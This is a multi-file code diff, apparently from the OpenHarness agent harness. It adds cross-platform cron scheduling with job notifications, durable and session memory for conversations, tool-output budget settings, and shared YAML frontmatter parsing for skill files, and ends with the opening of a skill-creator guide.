import json
import logging
import os
import subprocess
import shlex
import signal
import sys
import time
from datetime import datetime, timezone
from pathlib import Path
from typing import Any
from types import FrameType
from typing import Any, Callable
from openharness.config.paths import get_data_dir, get_logs_dir
from openharness.platforms import get_platform
from openharness.services.cron import (
load_cron_jobs,
mark_job_run,
@@ -28,6 +33,14 @@ from openharness.services.cron import (
from openharness.sandbox import SandboxUnavailableError
from openharness.utils.shell import create_shell_subprocess
try:
from ohmo.gateway.config import load_gateway_config
except Exception: # pragma: no cover - ohmo is optional for non-ohmo cron users
load_gateway_config = None # type: ignore[assignment]
NOTIFICATION_OUTPUT_LIMIT = 3500
logger = logging.getLogger(__name__)
TICK_INTERVAL_SECONDS = 30
@@ -89,10 +102,7 @@ def read_pid() -> int | None:
pid = int(path.read_text(encoding="utf-8").strip())
except (ValueError, OSError):
return None
# Check if process is alive
try:
os.kill(pid, 0)
except OSError:
if not _pid_exists(pid):
logger.debug("Removed stale scheduler PID file (pid=%d)", pid)
path.unlink(missing_ok=True)
return None
@@ -122,37 +132,205 @@ def stop_scheduler() -> bool:
if pid is None:
return False
try:
os.kill(pid, signal.SIGTERM)
_terminate_pid(pid)
except OSError:
remove_pid()
return False
# Wait briefly for process to exit
for _ in range(10):
try:
os.kill(pid, 0)
except OSError:
if not _pid_exists(pid):
remove_pid()
return True
time.sleep(0.2)
# Force kill
try:
os.kill(pid, signal.SIGKILL)
_kill_pid(pid)
except OSError:
pass
remove_pid()
return True
def _pid_exists(pid: int) -> bool:
"""Return True when *pid* currently refers to a live process."""
if pid <= 0:
return False
if get_platform() == "windows":
return _windows_pid_exists(pid)
try:
os.kill(pid, 0)
except ProcessLookupError:
return False
except PermissionError:
return True
except OSError:
return False
return True
def _windows_pid_exists(pid: int) -> bool:
"""Windows implementation of ``kill(pid, 0)`` without requiring psutil."""
try:
import ctypes
except Exception:
return _pid_exists_with_kill_zero(pid)
try:
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True) # type: ignore[attr-defined]
except AttributeError:
return _pid_exists_with_kill_zero(pid)
synchronize = 0x00100000
process_query_limited_information = 0x1000
wait_timeout = 0x00000102
handle = kernel32.OpenProcess(
synchronize | process_query_limited_information,
False,
pid,
)
if not handle:
return ctypes.get_last_error() == 5 # ERROR_ACCESS_DENIED: process exists
try:
return kernel32.WaitForSingleObject(handle, 0) == wait_timeout
finally:
kernel32.CloseHandle(handle)
def _pid_exists_with_kill_zero(pid: int) -> bool:
try:
os.kill(pid, 0)
except ProcessLookupError:
return False
except PermissionError:
return True
except OSError:
return False
return True
def _terminate_pid(pid: int) -> None:
os.kill(pid, signal.SIGTERM)
def _kill_pid(pid: int) -> None:
if get_platform() == "windows":
os.kill(pid, signal.SIGTERM)
return
os.kill(pid, signal.SIGKILL)
# ---------------------------------------------------------------------------
# Job execution
# ---------------------------------------------------------------------------
def _format_notification(job: dict[str, Any], entry: dict[str, Any]) -> str:
"""Build a concise notification body for a completed cron job."""
status = entry.get("status", "?")
rc = entry.get("returncode", "?")
lines = [
f"⏰ Cron job finished: {job.get('name', '?')}",
f"Status: {status} (rc={rc})",
f"Started: {entry.get('started_at', '?')}",
f"Ended: {entry.get('ended_at', '?')}",
]
stdout = str(entry.get("stdout") or "").strip()
stderr = str(entry.get("stderr") or "").strip()
if stdout:
lines.extend(["", "Output:", stdout[-NOTIFICATION_OUTPUT_LIMIT:]])
if stderr:
lines.extend(["", "Stderr:", stderr[-NOTIFICATION_OUTPUT_LIMIT:]])
if not stdout and not stderr:
lines.extend(["", "(no output)"])
return "\n".join(lines)
async def _notify_job_result(job: dict[str, Any], entry: dict[str, Any]) -> None:
"""Deliver an optional post-run notification for a cron job."""
notify = job.get("notify")
payload = job.get("payload")
if not isinstance(notify, dict) and isinstance(payload, dict) and payload.get("deliver"):
notify = {"type": payload.get("channel"), "to": payload.get("to")}
if not isinstance(notify, dict):
return
notify_type = str(notify.get("type") or "").strip().lower()
try:
if notify_type in {"feishu_dm", "feishu"}:
from ohmo.gateway.notify import send_feishu_dm
user_open_id = str(
notify.get("user_open_id") or notify.get("open_id") or notify.get("to") or ""
).strip()
if not user_open_id:
raise ValueError("missing notify.user_open_id")
workspace = notify.get("workspace")
await send_feishu_dm(
user_open_id=user_open_id,
content=_format_notification(job, entry),
workspace=str(workspace) if workspace else None,
)
elif notify_type:
raise ValueError(f"unsupported notify.type: {notify_type}")
except Exception as exc:
logger.error("Failed to notify cron job %r result: %s", job.get("name"), exc)
entry["notification_status"] = "failed"
entry["notification_error"] = str(exc)
else:
entry["notification_status"] = "sent"
def _command_for_job(job: dict[str, Any]) -> str:
"""Return the shell command used to execute a job."""
command = job.get("command")
if command:
return str(command)
payload = job.get("payload")
if not isinstance(payload, dict) or payload.get("kind", "agent_turn") != "agent_turn":
raise ValueError("cron job has no command or agent_turn payload")
message = str(payload.get("message") or "").strip()
if not message:
raise ValueError("agent_turn cron job is missing payload.message")
cwd = str(job.get("cwd") or ".")
parts = ["ohmo"]
profile = payload.get("profile") or job.get("provider_profile")
if profile is None and load_gateway_config is not None:
profile = load_gateway_config().provider_profile
if profile:
parts.extend(["--profile", str(profile)])
parts.extend(
[
"--cwd",
cwd,
"--print",
message,
]
)
return " ".join(shlex.quote(part) for part in parts)
async def execute_job(job: dict[str, Any]) -> dict[str, Any]:
"""Run a single cron job and return a history entry."""
name = job["name"]
command = job["command"]
cwd = Path(job.get("cwd") or ".").expanduser()
started_at = datetime.now(timezone.utc)
try:
command = _command_for_job(job)
except Exception as exc:
entry = {
"name": name,
"command": "",
"started_at": started_at.isoformat(),
"ended_at": datetime.now(timezone.utc).isoformat(),
"returncode": -1,
"status": "error",
"stdout": "",
"stderr": str(exc),
}
mark_job_run(name, success=False)
await _notify_job_result(job, entry)
append_history(entry)
return entry
logger.info("Executing cron job %r: %s", name, command)
try:
@@ -183,6 +361,7 @@ async def execute_job(job: dict[str, Any]) -> dict[str, Any]:
"stderr": "Job timed out after 300s",
}
mark_job_run(name, success=False)
await _notify_job_result(job, entry)
append_history(entry)
return entry
except SandboxUnavailableError as exc:
@@ -197,6 +376,7 @@ async def execute_job(job: dict[str, Any]) -> dict[str, Any]:
"stderr": str(exc),
}
mark_job_run(name, success=False)
await _notify_job_result(job, entry)
append_history(entry)
return entry
except Exception as exc:
@@ -211,6 +391,7 @@ async def execute_job(job: dict[str, Any]) -> dict[str, Any]:
"stderr": str(exc),
}
mark_job_run(name, success=False)
await _notify_job_result(job, entry)
append_history(entry)
return entry
@@ -226,6 +407,7 @@ async def execute_job(job: dict[str, Any]) -> dict[str, Any]:
"stderr": (stderr.decode("utf-8", errors="replace")[-2000:] if stderr else ""),
}
mark_job_run(name, success=success)
await _notify_job_result(job, entry)
append_history(entry)
logger.info("Job %r finished: %s (rc=%s)", name, entry["status"], process.returncode)
return entry
@@ -262,13 +444,8 @@ async def run_scheduler_loop(*, once: bool = False) -> None:
"""Main scheduler loop. Runs until SIGTERM or *once* is True (test mode)."""
shutdown = asyncio.Event()
def _on_signal() -> None:
logger.info("Received shutdown signal")
shutdown.set()
loop = asyncio.get_running_loop()
for sig in (signal.SIGTERM, signal.SIGINT):
loop.add_signal_handler(sig, _on_signal)
restore_signals = _install_shutdown_signal_handlers(loop, shutdown)
write_pid()
logger.info("Cron scheduler started (pid=%d, tick=%ds)", os.getpid(), TICK_INTERVAL_SECONDS)
@@ -297,10 +474,45 @@ async def run_scheduler_loop(*, once: bool = False) -> None:
except asyncio.TimeoutError:
pass
finally:
restore_signals()
remove_pid()
logger.info("Cron scheduler stopped")
def _install_shutdown_signal_handlers(
loop: asyncio.AbstractEventLoop,
shutdown: asyncio.Event,
) -> Callable[[], None]:
"""Install portable signal handlers and return a restore callback."""
previous_handlers: list[tuple[signal.Signals, Any]] = []
def _on_signal(signum: int, frame: FrameType | None) -> None:
del frame
logger.info("Received shutdown signal (%s)", signum)
with contextlib.suppress(RuntimeError):
loop.call_soon_threadsafe(shutdown.set)
signals: list[signal.Signals] = [signal.SIGTERM, signal.SIGINT]
sigbreak = getattr(signal, "SIGBREAK", None)
if sigbreak is not None:
signals.append(sigbreak)
for sig in signals:
try:
previous = signal.getsignal(sig)
signal.signal(sig, _on_signal)
except (OSError, RuntimeError, ValueError):
continue
previous_handlers.append((sig, previous))
def _restore() -> None:
for sig, previous in reversed(previous_handlers):
with contextlib.suppress(OSError, RuntimeError, ValueError):
signal.signal(sig, previous)
return _restore
# ---------------------------------------------------------------------------
# Daemon entry point (spawned by ``oh cron start``)
# ---------------------------------------------------------------------------
@@ -318,28 +530,49 @@ def _run_daemon() -> None:
def start_daemon() -> int:
"""Fork and start the scheduler daemon. Returns the child PID."""
"""Start the scheduler daemon and return its PID."""
existing = read_pid()
if existing is not None:
raise RuntimeError(f"Scheduler already running (pid={existing})")
pid = os.fork()
if pid > 0:
# Parent — wait a moment for the child to write its PID file
time.sleep(0.3)
return pid
process = _spawn_scheduler_process()
deadline = time.monotonic() + 2.0
while time.monotonic() < deadline:
pid = read_pid()
if pid is not None:
return pid
if process.poll() is not None:
break
time.sleep(0.1)
# Child — detach
os.setsid()
# Redirect stdio
devnull = os.open(os.devnull, os.O_RDWR)
os.dup2(devnull, 0)
os.dup2(devnull, 1)
os.dup2(devnull, 2)
os.close(devnull)
if process.poll() is not None:
log_file = get_logs_dir() / "cron_scheduler.log"
raise RuntimeError(f"Cron scheduler failed to start; see {log_file}")
return process.pid
_run_daemon()
sys.exit(0)
def _spawn_scheduler_process() -> subprocess.Popen[bytes]:
"""Spawn a detached scheduler subprocess on Unix and Windows."""
popen_kwargs: dict[str, Any] = {
"stdin": subprocess.DEVNULL,
"stdout": subprocess.DEVNULL,
"stderr": subprocess.DEVNULL,
"close_fds": True,
}
if get_platform() == "windows":
creationflags = getattr(subprocess, "DETACHED_PROCESS", 0) | getattr(
subprocess,
"CREATE_NEW_PROCESS_GROUP",
0,
)
if creationflags:
popen_kwargs["creationflags"] = creationflags
else:
popen_kwargs["start_new_session"] = True
return subprocess.Popen(
[sys.executable, "-m", "openharness.services.cron_scheduler"],
**popen_kwargs,
)
def scheduler_status() -> dict[str, Any]:
@@ -356,3 +589,7 @@ def scheduler_status() -> dict[str, Any]:
"log_file": str(log_path),
"history_file": str(get_history_path()),
}
if __name__ == "__main__":
_run_daemon()
@@ -0,0 +1,261 @@
"""Durable memory extraction from completed turns."""
from __future__ import annotations
import json
import logging
from dataclasses import dataclass
from pathlib import Path
from typing import Any
from openharness.api.client import ApiMessageCompleteEvent, ApiMessageRequest, SupportsStreamingMessages
from openharness.engine.messages import ConversationMessage, ToolUseBlock
from openharness.memory.manager import add_memory_entry
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.relevance import build_memory_manifest
from openharness.memory.scan import scan_memory_files
from openharness.memory.schema import (
DEFAULT_MEMORY_SCOPE,
DEFAULT_MEMORY_TYPE,
MemoryScope,
MemoryType,
parse_memory_scope,
parse_memory_type,
)
from openharness.memory.team import check_team_memory_secrets, validate_team_memory_write_path
log = logging.getLogger(__name__)
MEMORY_WRITE_TOOLS = {"write_file", "edit_file"}
@dataclass(frozen=True)
class ExtractionRecord:
"""Structured memory record proposed by the extraction pass."""
title: str
body: str
memory_type: MemoryType = DEFAULT_MEMORY_TYPE
scope: MemoryScope = DEFAULT_MEMORY_SCOPE
description: str = ""
tags: tuple[str, ...] = ()
@dataclass(frozen=True)
class ExtractionResult:
"""Outcome of a durable memory extraction run."""
skipped: bool
reason: str = ""
records: tuple[ExtractionRecord, ...] = ()
written_paths: tuple[Path, ...] = ()
def has_memory_writes_since(
messages: list[ConversationMessage],
memory_dir: str | Path,
*,
cwd: str | Path | None = None,
) -> bool:
"""Return whether the visible turn already wrote memory files."""
root = Path(memory_dir).expanduser().resolve()
write_base = Path(cwd).expanduser().resolve() if cwd is not None else root
for message in messages:
for block in message.content:
if not isinstance(block, ToolUseBlock):
continue
if block.name not in MEMORY_WRITE_TOOLS:
continue
raw_path = block.input.get("path") or block.input.get("file_path")
if not raw_path:
continue
path = Path(str(raw_path)).expanduser()
if not path.is_absolute():
path = write_base / path
try:
path.resolve().relative_to(root)
except ValueError:
continue
return True
return False
async def extract_memories_from_turn(
*,
cwd: str | Path,
api_client: SupportsStreamingMessages,
model: str,
messages: list[ConversationMessage],
max_records: int = 3,
) -> ExtractionResult:
"""Ask the model for durable memory candidates and apply them."""
memory_dir = get_project_memory_dir(cwd)
if len(messages) < 2:
return ExtractionResult(skipped=True, reason="not enough messages")
if has_memory_writes_since(messages, memory_dir, cwd=cwd):
return ExtractionResult(skipped=True, reason="main conversation already wrote memory")
prompt = build_extraction_prompt(cwd, messages, max_records=max_records)
final_text = ""
async for event in api_client.stream_message(
ApiMessageRequest(
model=model,
messages=[ConversationMessage.from_user_text(prompt)],
system_prompt=EXTRACTION_SYSTEM_PROMPT,
max_tokens=2048,
tools=[],
)
):
if isinstance(event, ApiMessageCompleteEvent):
final_text = event.message.text
break
records = parse_extraction_records(final_text, max_records=max_records)
if not records:
return ExtractionResult(skipped=True, reason="no durable memories proposed")
return apply_extraction_records(cwd, records)
def build_extraction_prompt(cwd: str | Path, messages: list[ConversationMessage], *, max_records: int) -> str:
"""Build the extraction request from recent messages and manifest."""
manifest = build_memory_manifest(scan_memory_files(cwd, max_files=80))
transcript = "\n".join(_summarize_message(message) for message in messages[-12:])
return (
"Extract only durable memories from the recent conversation.\n"
f"Return JSON with at most {max_records} records. Existing memory manifest:\n"
f"{manifest or '(empty)'}\n\n"
"Recent conversation:\n"
f"{transcript}\n\n"
"JSON schema: {\"memories\":[{\"title\":\"...\",\"type\":\"user|feedback|project|reference\","
"\"scope\":\"private|project|team\",\"description\":\"...\",\"body\":\"...\",\"tags\":[\"...\"]}]}"
)
EXTRACTION_SYSTEM_PROMPT = """You maintain OpenHarness durable memory.
Save only stable, future-useful facts that are not derivable from current files,
git history, or documentation. Prefer updating existing memories conceptually
over duplicating them. Do not save secrets. If nothing is worth saving, return
{"memories": []}.
"""
def parse_extraction_records(text: str, *, max_records: int = 3) -> tuple[ExtractionRecord, ...]:
"""Parse JSON memory extraction output."""
try:
payload = json.loads(_extract_json_object(text))
except json.JSONDecodeError:
return ()
raw_records = payload.get("memories") if isinstance(payload, dict) else None
if not isinstance(raw_records, list):
return ()
records: list[ExtractionRecord] = []
for item in raw_records[:max_records]:
if not isinstance(item, dict):
continue
title = str(item.get("title") or "").strip()
body = str(item.get("body") or "").strip()
if not title or not body:
continue
memory_type = parse_memory_type(item.get("type"), default=DEFAULT_MEMORY_TYPE) or DEFAULT_MEMORY_TYPE
scope = parse_memory_scope(item.get("scope"), default=DEFAULT_MEMORY_SCOPE) or DEFAULT_MEMORY_SCOPE
tags_raw = item.get("tags") or ()
tags = tuple(str(tag).strip() for tag in tags_raw if str(tag).strip()) if isinstance(tags_raw, list) else ()
records.append(
ExtractionRecord(
title=title,
body=body,
memory_type=memory_type,
scope=scope,
description=str(item.get("description") or "").strip(),
tags=tags,
)
)
return tuple(records)
def apply_extraction_records(cwd: str | Path, records: tuple[ExtractionRecord, ...]) -> ExtractionResult:
"""Write accepted records to durable memory."""
written: list[Path] = []
for record in records:
if record.scope == "team":
secret_error = check_team_memory_secrets(record.body)
if secret_error:
log.warning("memory extraction skipped team record %r: %s", record.title, secret_error)
continue
path, error = validate_team_memory_write_path(cwd, f"{record.title}.md")
if error or path is None:
log.warning("memory extraction skipped team record %r: %s", record.title, error)
continue
written.append(
add_memory_entry(
cwd,
record.title,
record.body,
memory_type=record.memory_type,
scope=record.scope,
description=record.description,
tags=record.tags,
)
)
return ExtractionResult(skipped=not bool(written), reason="" if written else "all records rejected", records=records, written_paths=tuple(written))
def validate_extraction_tool_request(tool_name: str, tool_input: dict[str, Any], memory_dir: str | Path) -> tuple[bool, str]:
"""Permission guard for extraction-like agents."""
if tool_name in {"read_file", "grep", "glob"}:
return True, ""
if tool_name == "bash":
command = str(tool_input.get("command") or "")
if _is_read_only_shell(command):
return True, ""
return False, "memory extraction may only run read-only shell commands"
if tool_name in {"write_file", "edit_file"}:
raw_path = str(tool_input.get("path") or tool_input.get("file_path") or "")
if not raw_path:
return False, "memory extraction write requires a path"
root = Path(memory_dir).expanduser().resolve()
path = Path(raw_path).expanduser()
if not path.is_absolute():
path = root / path
try:
path.resolve().relative_to(root)
except ValueError:
return False, f"memory extraction writes must stay within {root}"
return True, ""
return False, f"memory extraction cannot use tool {tool_name}"
def _extract_json_object(text: str) -> str:
stripped = text.strip()
if stripped.startswith("{") and stripped.endswith("}"):
return stripped
start = stripped.find("{")
end = stripped.rfind("}")
if start >= 0 and end > start:
return stripped[start : end + 1]
return stripped
def _summarize_message(message: ConversationMessage) -> str:
text = " ".join(message.text.split())
if text:
return f"{message.role}: {text[:1200]}"
if message.tool_uses:
return f"{message.role}: tool calls -> {', '.join(block.name for block in message.tool_uses)}"
return f"{message.role}: [non-text content]"
def _is_read_only_shell(command: str) -> bool:
lowered = command.strip().lower()
if not lowered:
return False
denied = (" > ", ">>", " rm ", " mv ", " cp ", " sed -i", " tee ", "python -c", "python3 -c")
if any(marker in f" {lowered} " for marker in denied):
return False
first = lowered.split(maxsplit=1)[0]
return first in {"ls", "pwd", "cat", "head", "tail", "rg", "grep", "find", "git", "wc", "sed", "awk", "stat"}
@@ -0,0 +1,139 @@
"""File-backed session memory for compact continuity."""
from __future__ import annotations
from hashlib import sha1
from pathlib import Path
from openharness.config.paths import get_data_dir
from openharness.engine.messages import ConversationMessage, ToolResultBlock
from openharness.services.token_estimation import estimate_tokens
from openharness.utils.fs import atomic_write_text
MAX_SESSION_MEMORY_CHARS = 12_000
MAX_RECENT_LINES = 80
def get_session_memory_dir(cwd: str | Path) -> Path:
"""Return the project session-memory directory."""
root = Path(cwd).resolve()
digest = sha1(str(root).encode("utf-8")).hexdigest()[:12]
path = get_data_dir() / "session-memory" / f"{root.name}-{digest}"
path.mkdir(parents=True, exist_ok=True)
return path
def get_session_memory_path(cwd: str | Path, session_id: str | None = None) -> Path:
"""Return the markdown session-memory path."""
safe_session = "".join(ch if ch.isalnum() or ch in "._-" else "_" for ch in (session_id or "default"))
return get_session_memory_dir(cwd) / f"{safe_session or 'default'}.md"
def prepare_session_memory_metadata(
cwd: str | Path,
tool_metadata: dict[str, object],
*,
session_id: str | None = None,
) -> Path:
"""Ensure metadata points compaction to the session-memory file."""
sid = session_id or str(tool_metadata.get("session_id") or "default")
path = get_session_memory_path(cwd, sid)
tool_metadata["session_memory_path"] = str(path)
return path
def get_session_memory_content(path: str | Path | None) -> str:
"""Read session memory content if available."""
if not path:
return ""
candidate = Path(path).expanduser()
if not candidate.exists():
return ""
try:
return candidate.read_text(encoding="utf-8", errors="replace")
except OSError:
return ""
def update_session_memory_file(
cwd: str | Path,
messages: list[ConversationMessage],
*,
tool_metadata: dict[str, object] | None = None,
session_id: str | None = None,
) -> Path:
"""Update the deterministic session-memory checkpoint."""
path = prepare_session_memory_metadata(cwd, tool_metadata or {}, session_id=session_id)
body = build_session_memory_document(messages, tool_metadata=tool_metadata)
atomic_write_text(path, body)
return path
def build_session_memory_document(
messages: list[ConversationMessage],
*,
tool_metadata: dict[str, object] | None = None,
) -> str:
"""Build a compact markdown checkpoint for the current session."""
state = tool_metadata.get("task_focus_state") if isinstance(tool_metadata, dict) else None
goal = ""
next_step = ""
verified: list[str] = []
artifacts: list[str] = []
if isinstance(state, dict):
goal = str(state.get("goal") or "").strip()
next_step = str(state.get("next_step") or "").strip()
verified = [str(item).strip() for item in state.get("verified_state", []) if str(item).strip()]
artifacts = [str(item).strip() for item in state.get("active_artifacts", []) if str(item).strip()]
lines = ["# Session Memory", ""]
lines.extend(["## Current State", goal or "(no current goal recorded)", ""])
if next_step:
lines.extend(["## Next Step", next_step, ""])
if verified:
lines.extend(["## Verified Work", *[f"- {item}" for item in verified[-10:]], ""])
if artifacts:
lines.extend(["## Active Artifacts", *[f"- {item}" for item in artifacts[-10:]], ""])
lines.extend(["## Recent Conversation", *_recent_message_lines(messages), ""])
text = "\n".join(lines).strip() + "\n"
if len(text) > MAX_SESSION_MEMORY_CHARS:
text = text[:MAX_SESSION_MEMORY_CHARS].rsplit("\n", 1)[0]
text += "\n\n> Session memory was truncated to stay within budget.\n"
return text
def session_memory_to_compact_text(content: str) -> str:
"""Prepare persisted session memory for insertion across compact boundaries."""
stripped = content.strip()
if not stripped:
return ""
if estimate_tokens(stripped) > 4_000:
stripped = stripped[:MAX_SESSION_MEMORY_CHARS].rsplit("\n", 1)[0]
return "Session memory checkpoint from earlier in this conversation:\n" + stripped
def _recent_message_lines(messages: list[ConversationMessage]) -> list[str]:
lines: list[str] = []
for message in messages[-MAX_RECENT_LINES:]:
line = _summarize_message(message)
if line:
lines.append(f"- {line}")
return lines or ["- (no recent messages)"]
def _summarize_message(message: ConversationMessage) -> str:
text = " ".join(message.text.split())
if text:
return f"{message.role}: {text[:220]}"
if message.tool_uses:
return f"{message.role}: tool calls -> {', '.join(block.name for block in message.tool_uses[:6])}"
if any(isinstance(block, ToolResultBlock) for block in message.content):
return f"{message.role}: tool results returned"
return f"{message.role}: [non-text content]"
@@ -20,6 +20,7 @@ _PERSISTED_TOOL_METADATA_KEYS = (
"read_file_state",
"invoked_skills",
"async_agent_state",
"async_agent_tasks",
"recent_work_log",
"recent_verified_work",
"task_focus_state",
+55
View File
@@ -0,0 +1,55 @@
"""Tool-output context budget helpers."""
from __future__ import annotations
import logging
import os
log = logging.getLogger(__name__)
DEFAULT_TOOL_OUTPUT_INLINE_CHARS = 16_000
DEFAULT_TOOL_OUTPUT_PREVIEW_CHARS = 3_000
DEFAULT_MICROCOMPACT_TOOL_RESULT_CHARS = 4_000
def _read_positive_int_env(name: str, default: int, *, minimum: int = 1) -> int:
raw = os.environ.get(name, "").strip()
if not raw:
return default
try:
return max(minimum, int(raw))
except ValueError:
log.warning("Ignoring invalid %s=%r", name, raw)
return default
def tool_output_inline_chars() -> int:
return _read_positive_int_env(
"OPENHARNESS_TOOL_OUTPUT_INLINE_CHARS",
DEFAULT_TOOL_OUTPUT_INLINE_CHARS,
minimum=256,
)
def tool_output_preview_chars() -> int:
return _read_positive_int_env(
"OPENHARNESS_TOOL_OUTPUT_PREVIEW_CHARS",
DEFAULT_TOOL_OUTPUT_PREVIEW_CHARS,
minimum=128,
)
def microcompact_tool_result_chars() -> int:
return _read_positive_int_env(
"OPENHARNESS_MICROCOMPACT_TOOL_RESULT_CHARS",
DEFAULT_MICROCOMPACT_TOOL_RESULT_CHARS,
minimum=256,
)
def is_microcompactable_tool_result(tool_name: str, content: str) -> bool:
"""Return True when a tool result should be eligible for old-result clearing."""
normalized = tool_name.strip()
if normalized.startswith("mcp__"):
return True
return len(content) >= microcompact_tool_result_chars()
+17 -3
View File
@@ -8,14 +8,28 @@ if TYPE_CHECKING: # pragma: no cover
from openharness.skills.registry import SkillRegistry
from openharness.skills.types import SkillDefinition
__all__ = ["SkillDefinition", "SkillRegistry", "get_user_skills_dir", "load_skill_registry"]
__all__ = [
"SkillDefinition",
"SkillRegistry",
"discover_project_skill_dirs",
"get_user_skill_dirs",
"get_user_skills_dir",
"load_skill_registry",
]
def __getattr__(name: str):
if name in {"get_user_skills_dir", "load_skill_registry"}:
from openharness.skills.loader import get_user_skills_dir, load_skill_registry
if name in {"discover_project_skill_dirs", "get_user_skill_dirs", "get_user_skills_dir", "load_skill_registry"}:
from openharness.skills.loader import (
discover_project_skill_dirs,
get_user_skill_dirs,
get_user_skills_dir,
load_skill_registry,
)
return {
"discover_project_skill_dirs": discover_project_skill_dirs,
"get_user_skill_dirs": get_user_skill_dirs,
"get_user_skills_dir": get_user_skills_dir,
"load_skill_registry": load_skill_registry,
}[name]
+97
View File
@@ -0,0 +1,97 @@
"""Shared YAML frontmatter parsing for SKILL.md files."""
from __future__ import annotations
import logging
from typing import Any
import yaml
logger = logging.getLogger(__name__)
def parse_bool_frontmatter(value: Any, *, default: bool) -> bool:
"""Parse permissive YAML frontmatter booleans."""
if value is None:
return default
if isinstance(value, bool):
return value
normalized = str(value).strip().lower()
if normalized in {"1", "true", "yes", "on"}:
return True
if normalized in {"0", "false", "no", "off"}:
return False
return default
def optional_frontmatter_str(value: Any) -> str | None:
"""Return a stripped string value, or ``None`` when absent/blank."""
if isinstance(value, str) and value.strip():
return value.strip()
return None
def parse_skill_metadata(
default_name: str,
content: str,
*,
fallback_template: str = "Skill: {name}",
) -> dict[str, Any]:
"""Extract metadata from a SKILL.md file.
Parses YAML frontmatter (``---`` delimited) via ``yaml.safe_load`` so that
folded block scalars (``>``), literal block scalars (``|``), quoted values,
and other standard YAML constructs are handled correctly. Falls back to
``# heading`` + first body paragraph when no usable frontmatter is present,
and finally to ``fallback_template`` when no description can be derived.
"""
name = default_name
description = ""
frontmatter: dict[str, Any] = {}
lines = content.splitlines()
if content.startswith("---\n"):
end_index = content.find("\n---\n", 4)
if end_index != -1:
try:
metadata = yaml.safe_load(content[4:end_index])
if isinstance(metadata, dict):
frontmatter = metadata
val = metadata.get("name")
if isinstance(val, str) and val.strip():
name = val.strip()
val = metadata.get("description")
if isinstance(val, str) and val.strip():
description = val.strip()
except yaml.YAMLError:
logger.debug("Failed to parse YAML frontmatter for skill %s", default_name)
if not description:
for line in lines:
stripped = line.strip()
if stripped.startswith("# "):
if not name or name == default_name:
name = stripped[2:].strip() or default_name
continue
if stripped and not stripped.startswith("---") and not stripped.startswith("#"):
description = stripped[:200]
break
if not description:
description = fallback_template.format(name=name)
return {"name": name, "description": description, "frontmatter": frontmatter}
def parse_skill_frontmatter(
default_name: str,
content: str,
*,
fallback_template: str = "Skill: {name}",
) -> tuple[str, str]:
"""Extract ``name`` and ``description`` from a SKILL.md file."""
metadata = parse_skill_metadata(
default_name,
content,
fallback_template=fallback_template,
)
return str(metadata["name"]), str(metadata["description"])
+42 -35
View File
@@ -4,6 +4,12 @@ from __future__ import annotations
from pathlib import Path
from openharness.skills._frontmatter import (
optional_frontmatter_str,
parse_bool_frontmatter,
parse_skill_frontmatter,
parse_skill_metadata,
)
from openharness.skills.types import SkillDefinition
_CONTENT_DIR = Path(__file__).parent / "content"
@@ -16,53 +22,54 @@ def get_bundled_skills() -> list[SkillDefinition]:
return skills
for path in sorted(_CONTENT_DIR.glob("*.md")):
content = path.read_text(encoding="utf-8")
name, description = _parse_frontmatter(path.stem, content)
metadata = _parse_metadata(path.stem, content)
display_name = metadata["name"] if metadata["name"] != path.stem else None
skills.append(
SkillDefinition(
name=name,
description=description,
name=metadata["name"],
description=metadata["description"],
content=content,
source="bundled",
path=str(path),
base_dir=str(path.parent),
command_name=path.stem,
display_name=display_name,
user_invocable=metadata["user_invocable"],
disable_model_invocation=metadata["disable_model_invocation"],
model=metadata["model"],
argument_hint=metadata["argument_hint"],
)
)
return skills
def _parse_frontmatter(default_name: str, content: str) -> tuple[str, str]:
"""Extract name and description from a skill markdown file.
"""Extract name and description from a bundled skill markdown file.
Supports YAML frontmatter (``---`` delimited) and falls back to heading/paragraph parsing.
Delegates to the shared parser so YAML block scalars (``>``, ``|``),
quoted values, and other standard YAML constructs are handled the same
way as user-installed skills.
"""
name = default_name
description = ""
lines = content.splitlines()
return parse_skill_frontmatter(
default_name,
content,
fallback_template="Bundled skill: {name}",
)
# Try YAML frontmatter first
if lines and lines[0].strip() == "---":
for i, line in enumerate(lines[1:], 1):
if line.strip() == "---":
for fm_line in lines[1:i]:
fm = fm_line.strip()
if fm.startswith("name:"):
val = fm[5:].strip().strip("'\"")
if val:
name = val
elif fm.startswith("description:"):
val = fm[12:].strip().strip("'\"")
if val:
description = val
break
if description:
return name, description
# Fallback: heading + first paragraph
for line in lines:
stripped = line.strip()
if stripped.startswith("# "):
name = stripped[2:].strip() or default_name
continue
if stripped and not stripped.startswith("---") and not stripped.startswith("#"):
description = stripped[:200]
break
return name, description or f"Bundled skill: {name}"
def _parse_metadata(default_name: str, content: str) -> dict:
parsed = parse_skill_metadata(default_name, content, fallback_template="Bundled skill: {name}")
frontmatter = parsed.get("frontmatter")
if not isinstance(frontmatter, dict):
frontmatter = {}
return {
"name": str(parsed["name"]),
"description": str(parsed["description"]),
"user_invocable": parse_bool_frontmatter(frontmatter.get("user-invocable"), default=True),
"disable_model_invocation": parse_bool_frontmatter(
frontmatter.get("disable-model-invocation"),
default=False,
),
"model": optional_frontmatter_str(frontmatter.get("model")),
"argument_hint": optional_frontmatter_str(frontmatter.get("argument-hint")),
}
@@ -0,0 +1,175 @@
---
name: skill-creator
description: >
Create, improve, and verify OpenHarness skills. Use this whenever the user
asks to create a new skill, convert a workflow into a skill, update an
existing SKILL.md, add skills for oh/ohmo, design skill trigger behavior,
or test whether a skill loads and works correctly.
---
# skill-creator
Create or improve OpenHarness skills in the directory-based `SKILL.md` format.
## When to use
Use this skill when the user wants to:
- create a new skill from a workflow, repeated task, domain guide, or tool process
- convert existing notes, prompts, or instructions into a reusable skill
- modify or harden an existing skill
- make a skill available to `oh`, `ohmo`, or a plugin
- debug why the `skill` tool cannot find or load a skill
- test trigger wording, skill metadata, or skill behavior
## OpenHarness skill locations
Choose the target deliberately:
- Built-in OpenHarness skills live in `src/openharness/skills/bundled/content/*.md`.
- User skills for `oh` live in `~/.openharness/skills/<skill-dir>/SKILL.md`.
- Private `ohmo` skills live in `~/.ohmo/skills/<skill-dir>/SKILL.md`.
- Plugin skills live in `<plugin-root>/skills/<skill-dir>/SKILL.md`.
OpenHarness user and plugin skills use a directory layout. Do not create flat
`*.md` user skills under `skills/`; they will not be loaded by the normal loader.
## Skill anatomy
Use this structure for user, ohmo, and plugin skills:
```text
my-skill/
├── SKILL.md
├── scripts/ # optional deterministic helpers
├── references/ # optional long docs loaded only when relevant
